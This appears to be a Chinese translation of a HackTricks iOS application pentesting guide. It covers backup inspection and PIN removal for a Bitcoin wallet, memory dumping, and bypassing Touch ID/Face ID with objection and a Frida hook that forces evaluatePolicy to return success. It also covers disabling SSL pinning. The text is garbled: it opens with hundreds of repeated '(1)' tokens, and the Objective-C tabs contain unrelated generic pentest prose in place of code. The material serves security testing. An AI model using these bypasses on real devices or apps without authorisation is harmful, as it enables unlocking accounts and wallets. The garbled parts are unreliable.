(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
========================
ASL is here to serve you
> watch
OK
Jun 7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun 7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...
使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
备份
iOS包括自动备份功能,可以创建设备上存储的数据的副本。您可以使用iTunes(macOS Catalina之前)或Finder(从macOS Catalina开始)从主机计算机上创建iOS备份,或者通过iCloud备份功能进行备份。在这两种情况下,备份包括存储在iOS设备上的几乎所有数据,但不包括高度敏感的数据,如Apple Pay信息和Touch ID设置。
由于iOS备份已安装的应用程序及其数据,一个明显的问题是,应用程序存储的敏感用户数据是否可能通过备份无意中泄漏。另一个问题,虽然不太明显,但同样重要的是,恢复修改后的备份后,是否可以篡改用于保护数据或限制应用程序功能的敏感配置设置以更改应用程序行为。这两个问题都是合理的,并且这些漏洞已经在大量应用程序中得到证实。
已安装移动应用程序的设备的备份将包括所有子目录(除了Library/Caches/
)和应用程序的私有目录中的文件。
因此,请避免在应用程序的私有目录或子目录中的任何文件或文件夹中以明文形式存储敏感数据。
尽管默认情况下始终备份Documents/
和Library/Application Support/
中的所有文件,但您可以通过使用NSURL setResourceValue:forKey:error:
和NSURLIsExcludedFromBackupKey
键来排除备份中的文件。
您可以使用NSURLIsExcludedFromBackupKey和CFURLIsExcludedFromBackupKey文件系统属性来排除文件和目录不备份。
{% hint style="warning" %} 因此,在检查应用程序的备份时,您应该检查是否可以访问任何敏感信息,以及是否可以通过修改备份的某些设置并恢复备份来修改应用程序的任何敏感行为。 {% endhint %}
测试方法
首先,创建设备的备份(可以使用Finder进行操作),并找到备份存储的位置。官方的Apple文档将帮助您找到iPhone、iPad和iPod touch的备份。
找到设备的备份后(/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}
),您可以使用grep等工具查找敏感信息,或者使用iMazing等工具。
要确定备份是否加密,可以检查位于备份目录根目录下的"Manifest.plist"文件中名为"IsEncrypted"的密钥。以下示例显示了一个配置,指示备份已加密:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
如果您需要使用加密备份进行工作,可以在DinoSec的GitHub存储库中找到一些Python脚本,例如backup_tool.py和backup_passwd.py,它们将作为一个很好的起点。但请注意,它们可能无法与最新的iTunes/Finder版本配合使用,可能需要进行调整。
您还可以使用工具iOSbackup轻松读取和提取密码加密的iOS备份中的文件。
如何修改行为
在开源的比特币钱包应用程序Bither中,您可以看到可以配置一个PIN码来锁定用户界面。
这个PIN码存储在备份中的文件net.bither.plist
中的pin_code键中。
如果您从备份中清除该plist文件中的此键并恢复备份,您将能够访问钱包。
测试内存中的敏感数据
敏感信息最终会存储在内存中。目标是确保这些信息尽可能短暂地暴露。
要调查应用程序的内存,首先创建一个内存转储。或者,您可以使用调试器等工具实时分析内存。无论使用哪种方法,这是一个非常容易出错的过程,因为转储提供了执行函数留下的数据,您可能会错过执行关键步骤。此外,除非您知道要查找的数据的足迹(无论是确切的值还是格式),否则在分析过程中忽略数据是非常容易的。例如,如果应用程序根据随机生成的对称密钥进行加密,除非您通过其他方式找到其值,否则在内存中很难找到该密钥。
获取和分析内存转储
无论您使用越狱设备还是非越狱设备,都可以使用objection和Fridump来转储应用程序的进程内存。
在内存转储完成后(例如保存为名为"memory"的文件),根据您要查找的数据的性质,您将需要一组不同的工具来处理和分析该内存转储。例如,如果您关注字符串,执行strings
或rabin2 -zz
命令提取这些字符串可能就足够了。
# using strings
$ strings memory > strings.txt
# using rabin2
$ rabin2 -ZZ memory > strings.txt
在您喜欢的编辑器中打开strings.txt
文件,并深入其中以识别敏感信息。
但是,如果您想检查其他类型的数据,最好使用radare2及其搜索功能。有关更多信息和选项列表,请参阅radare2的搜索命令(/?
)的帮助。以下仅显示其中的一部分选项:
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00 search for string 'foo\0'
| /c[ar] search for crypto materials
| /e /E.F/i match regular expression
| /i foo search for string 'foo' ignoring case
| /m[?][ebm] magicfile search for magic, filesystems or binary headers
| /v[1248] value look for an `cfg.bigendian` 32bit value
| /w foo search for wide string 'f\0o\0o\0'
| /x ff0033 search for hex string
| /z min max search for strings of given size
...
运行时内存分析
使用r2frida,您可以在应用程序运行时分析和检查内存,而无需转储内存。例如,您可以运行之前在r2frida中的搜索命令,并在内存中搜索字符串、十六进制值等。在这样做时,请记住在使用r2 frida://usb//<name_of_your_app>
启动会话后,在搜索命令(和任何其他r2frida特定命令)之前使用反斜杠\
。
破解密码学
弱密钥管理流程
一些开发人员将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这样做是不应该的,因为一些逆向工程可能会使攻击者提取机密信息。
使用不安全和/或已弃用的算法
开发人员不应使用已弃用的算法来执行授权检查、存储或发送数据。其中一些算法包括:RC4、MD4、MD5、SHA1... 如果例如使用哈希来存储密码,则应使用具有盐的哈希抗暴力破解。
检查
要执行的主要检查是查找代码中是否存在硬编码的密码/秘密,或者这些密码/秘密是否是可预测的,以及代码是否使用某种弱的密码学算法。
有趣的是,您可以使用objection自动监视一些加密****库,例如:
ios monitor crypt
有关iOS加密API和库的更多信息,请访问https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
本地身份验证
测试人员应该意识到本地身份验证应始终在远程端点上强制执行,或者基于密码学原语。如果身份验证过程没有返回任何数据,攻击者可以轻易绕过本地身份验证。
本地身份验证框架提供了一组API,供开发人员将身份验证对话框扩展到用户。在连接到远程服务的情况下,可以(并且建议)利用keychain来实现本地身份验证。
指纹ID传感器由SecureEnclave安全协处理器操作,并且不会将指纹数据暴露给系统的其他部分。除了Touch ID之外,Apple还引入了基于面部识别的_Face ID_:它允许基于面部识别进行身份验证。
开发人员有两种选项来整合Touch ID/Face ID身份验证:
LocalAuthentication.framework
是一个高级API,可用于通过Touch ID对用户进行身份验证。应用程序无法访问与已注册指纹相关联的任何数据,只会收到身份验证是否成功的通知。Security.framework
是一个较低级别的API,用于访问keychain服务。如果您的应用程序需要使用生物识别身份验证来保护某些机密数据,则这是一个安全的选项,因为访问控制是在系统级别上进行管理的,不容易被绕过。Security.framework
具有C API,但也有几个开源包装器可用,使得访问keychain就像访问NSUserDefaults一样简单。
{% hint style="danger" %}
请注意,使用LocalAuthentication.framework
或Security.framework
都可以被攻击者绕过,因为它们只返回一个布尔值,而没有数据可供继续使用。有关更多详细信息,请参见Don't touch me that way, by David Lindner et al。
{% endhint %}
本地身份验证框架
开发人员可以通过利用**LAContext
类的evaluatePolicy
函数来显示身份验证提示框**。两个可用的策略定义了可接受的身份验证形式:
deviceOwnerAuthentication
(Swift)或LAPolicyDeviceOwnerAuthentication
(Objective-C):如果可用,用户将被提示进行Touch ID身份验证。如果未激活Touch ID,则要求输入设备密码。如果未启用设备密码,则策略评估失败。deviceOwnerAuthenticationWithBiometrics
(Swift)或LAPolicyDeviceOwnerAuthenticationWithBiometrics
(Objective-C):身份验证仅限于生物识别,用户将被提示进行Touch ID身份验证。
evaluatePolicy
函数返回一个布尔值,指示用户是否成功进行了身份验证。这意味着它可以轻易被绕过(见下文)
使用Keychain进行本地身份验证
iOS的keychain API可以(并且应该)用于实现本地身份验证。在此过程中,应用程序将一个秘密身份验证令牌或其他标识用户的秘密数据存储在keychain中。为了对远程服务进行身份验证,用户必须使用他们的密码或指纹解锁keychain以获取秘密数据。
keychain允许使用特殊的SecAccessControl
属性保存项目,只有在用户通过Touch ID身份验证后(或者如果属性参数允许,则可以使用密码作为备选方案)才能从keychain中访问该项目。
在下面的示例中,我们将字符串"test_strong_password"保存到keychain中。只有在当前设备上设置了密码(kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
参数)并且在当前已注册的指纹上进行了Touch ID身份验证(SecAccessControlCreateFlags.biometryCurrentSet
参数)后,才能访问该字符串:
{% tabs %} {% tab title="Swift" %}
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
{% tab title="Objective-C" %}
这个目录包含了关于iOS应用程序渗透测试的信息和技术。在进行iOS应用程序渗透测试时,以下是一些重要的技术和工具:
-
逆向工程:逆向工程是分析和理解iOS应用程序的内部结构和功能的过程。这包括反汇编、反编译和分析应用程序的二进制代码。
-
动态分析:动态分析是在运行时监视和分析应用程序的行为。这包括使用调试器、代理工具和网络抓包工具来检查应用程序的运行时行为。
-
漏洞利用:漏洞利用是利用应用程序中的安全漏洞来获取未经授权的访问或执行恶意操作。这包括利用内存漏洞、输入验证漏洞和授权问题等。
-
数据泄露:数据泄露是指未经授权地泄露敏感信息的情况。这包括在应用程序中发现敏感数据存储、传输和处理的漏洞。
-
安全配置:安全配置是确保应用程序在设计和实施过程中采用了正确的安全措施。这包括检查应用程序的权限、加密和认证机制等。
-
社会工程学:社会工程学是通过欺骗和操纵人类行为来获取未经授权的访问或信息。这包括钓鱼攻击、恶意应用程序和社交工程技术等。
在进行iOS应用程序渗透测试时,需要使用一些常用的工具和技术,如Burp Suite、Frida、Cycript、Hopper Disassembler和IDA Pro等。这些工具和技术可以帮助分析和评估iOS应用程序的安全性。
{% endtab %}
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};
// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
if (status == noErr) {
// successfully saved
} else {
// error while saving
}
{% endtab %} {% endtabs %}
现在我们可以从钥匙串中请求保存的项目。钥匙串服务将向用户呈现身份验证对话框,并根据是否提供了合适的指纹返回数据或nil。
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
{% tab title="Objective-C" %}
这个目录包含了关于iOS应用程序渗透测试的信息和技术。在进行iOS应用程序渗透测试时,了解Objective-C编程语言是非常重要的,因为大多数iOS应用程序都是使用Objective-C编写的。
以下是一些常见的iOS应用程序渗透测试技术:
- 反编译应用程序:使用工具如Hopper、IDA Pro或Radare2来反编译iOS应用程序的二进制文件,以获取应用程序的源代码和逻辑。
- 分析应用程序:使用工具如Cycript、Frida或GDB来动态分析运行中的iOS应用程序,以获取应用程序的运行时信息和数据。
- 漏洞利用:利用iOS应用程序中的漏洞,如缓冲区溢出、格式化字符串漏洞或逻辑漏洞,来获取未授权访问或执行恶意代码的权限。
- 数据存储:分析iOS应用程序的数据存储机制,如SQLite数据库、Core Data或UserDefaults,以获取敏感信息或修改应用程序的状态。
- 网络通信:分析iOS应用程序的网络通信机制,如HTTP请求、WebSocket或TLS/SSL连接,以获取敏感信息或修改应用程序的行为。
- 逆向工程:使用工具如class-dump、dumpdecrypted或Hopper来逆向工程iOS应用程序的二进制文件,以获取应用程序的类、方法和属性。
请注意,进行iOS应用程序渗透测试时,应始终遵守法律和道德规范,并获得合法的授权。
{% endtab %}
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
{% endtab %} {% endtabs %}
检测
通过分析应用程序二进制文件的共享动态库列表,还可以检测应用程序中使用的框架。可以使用 otool
来完成此操作:
$ otool -L <AppName>.app/<AppName>
如果应用程序中使用了LocalAuthentication.framework
,输出将包含以下两行(请记住,LocalAuthentication.framework
在底层使用了Security.framework
):
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
如果使用了Security.framework
,只会显示第二个。
本地身份验证框架绕过
Objection
Objection生物识别绕过可以用于绕过LocalAuthentication。Objection使用Frida来对evaluatePolicy
函数进行注入,使其返回True
,即使身份验证未成功执行。使用ios ui biometrics_bypass
命令来绕过不安全的生物识别身份验证。Objection将注册一个任务,用于替换evaluatePolicy
的结果。它适用于Swift和Objective-C实现。
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
如果存在漏洞,该模块将自动绕过登录表单。
Frida
以下是从DVIA-v2应用程序中使用**evaluatePolicy
**的示例:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
为了绕过本地身份验证,我们需要编写一个Frida脚本来绕过上述的evaluatePolicy检查。如你在上面粘贴的代码片段中所看到的,evaluatePolicy使用一个回调函数来确定结果。因此,实现这个黑客攻击的最简单方法是拦截该回调函数,并确保它始终返回success=1。
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
通过IPC暴露敏感功能
自定义URI处理程序 / Deeplinks / 自定义方案
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}
通用链接
{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}
UIActivity共享
{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}
UIPasteboard
{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}
应用扩展
{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}
WebViews
{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}
序列化和编码
{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}
网络通信
重要的是要检查是否发生了未加密的通信,并且应用程序是否正确验证了服务器的TLS证书。
要检查这些问题,您可以使用像Burp这样的代理:
{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}
主机名检查
验证TLS证书的一个常见问题是检查证书是否由受信任的CA签名,但不检查证书的主机名是否与访问的主机名相同。
为了使用Burp检查此问题,在信任了iPhone上的Burp CA之后,您可以使用Burp为不同的主机名创建一个新的证书并使用它。如果应用程序仍然正常工作,则表示存在漏洞。
证书固定
如果应用程序正确使用SSL固定,则只有在证书符合预期时应用程序才能正常工作。在测试应用程序时,这可能是一个问题,因为Burp将提供自己的证书。
为了在越狱设备中绕过此保护,您可以安装应用程序SSL Kill Switch或安装Burp Mobile Assistant。
您还可以使用objection的 ios sslpinning disable
杂项
- 在**
/System/Library
**中,您可以找到手机上系统应用程序使用的框架 - 用户从App Store安装的应用程序位于**
/User/Applications
**中 - **
/User/Library
**包含用户级应用程序保存的数据 - 您可以访问**
/User/Library/Notes/notes.sqlite
**以读取应用程序中保存的笔记。 - 在已安装应用程序的文件夹中(
/User/Applications/<APP ID>/
),您可以找到一些有趣的文件: iTunesArtwork
:应用程序使用的图标iTunesMetadata.plist
:在App Store中使用的应用程序信息/Library/*
:包含首选项和缓存。在**/Library/Cache/Snapshots/*
**中,您可以找到将应用程序发送到后台之前执行的快照。
热修补/强制更新
开发人员可以远程即时修补其应用程序的所有安装,而无需重新提交应用程序到App Store并等待其获得批准。
为此,通常使用JSPatch**。**但也有其他选择,如Siren和react-native-appstore-version-checker。
**这是一种危险的机制,可能会被恶意的第三方SDK滥用,因此建议检查使用哪种方法进行自动更新(如果有)并进行测试。**您可以尝试下载应用程序的早期版本以进行此目的。
第三方
第三方SDK的一个问题是对SDK提供的功能没有细粒度的控制。您可以使用SDK并拥有所有功能(包括诊断泄漏和不安全的HTTP连接),或者不使用它。此外,通常应用程序开发人员无法修补SDK上的漏洞。
此外,一些SDK一旦被社区非常信任,就会开始包含恶意软件。
此外,这些服务提供的功能可能涉及跟踪服务以监控用户在使用应用程序时的行为,销售横幅广告或改善用户体验。第三方服务的缺点是开发人员不知道通过第三方库执行的代码的详细信息。因此,只应发送必要的信息给服务,并且不应披露敏感信息。
缺点是开发人员不知道通过第三方库执行的代码的详细信息,因此放弃了可见性。因此,应确保向服务发送的信息不超过所需的信息,并且不会泄露敏感信息。
大多数第三方服务有两种实现方式:
- 使用独立库
- 使用完整的SDK
发送给第三方服务的所有数据都应匿名化,以防止暴露可能使第三方能够识别用户帐户的PII(个人可识别信息)。
您可以通过对应用程序运行**otool
来找到应用程序使用的库**(并对每个共享库运行它以找到更多使用的共享库)。
参考资料
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
更多信息
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ IOS免费课程(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< Objective-C版本 https://github.com/OWASP/iGoat-Swift <<< Swift版本
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
使用Trickest轻松构建和自动化工作流程,由全球最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者想要访问PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。